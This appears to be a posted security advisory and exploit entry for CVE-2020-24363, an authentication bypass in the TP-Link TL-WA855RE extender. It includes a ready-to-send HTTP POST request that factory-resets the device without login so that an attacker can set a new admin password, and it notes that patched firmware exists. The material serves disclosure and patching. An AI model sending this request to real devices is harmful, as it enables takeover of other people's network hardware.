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TP-Link TL-WA855RE V5_200415 Device Reset Authentication Bypass

TP-Link TL-WA855RE V5_200415 Device Reset Authentication Bypass
Posted Nov 23, 2020
Authored by malwrforensics

The TP-Link TL-WA855RE V5_200415 suffers from a flow where an unauthenticated attacker can reset the device and then set a new administrator password.

tags | exploit, bypass
MD5 | f79efa750b058c193c7a2434bcaf03bd

TP-Link TL-WA855RE V5_200415 Device Reset Authentication Bypass

Change Mirror Download
# Exploit Title: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass
# Date: 2020/07/29
# Exploit Author: malwrforensics
# Vendor Homepage: https://tp-link.com
# Software link: https://static.tp-link.com/2020/202004/20200430/TL-WA855RE_V5_200415.zip
# Version: TL-WA855RE(US)_V5_200415
# Tested on: N/A
# CVE : 2020-24363
Important: The vendor has released a fix; the new firmware (TL-WA855RE(US)_V5_200731) is available to download from: https://www.tp-link.com/us/support/download/tl-wa855re/v5/#Firmware

Details
By default the web interface of the TL-WA855RE wireless extender require users to log in in order to access the admin interface. However, an attacker, on the same network, can bypass it and use the APIs provided to reset the device to its factory settings by using the TDDP_RESET code. An attacker can then set up a new admin password, resulting in a complete takeover of the device.
To test, you can send a POST request like the one below using the TDDP_RESET (5). The request doesn't need any type of authentication. You can then access the web interface and set a new administrative password.

POST /?code=5&asyn=0 HTTP/1.1
Host: <redacted>
Content-Length: 7
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: text/plain;charset=UTF-8
Origin: http://<redacted>
Referer: http://<redacted>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

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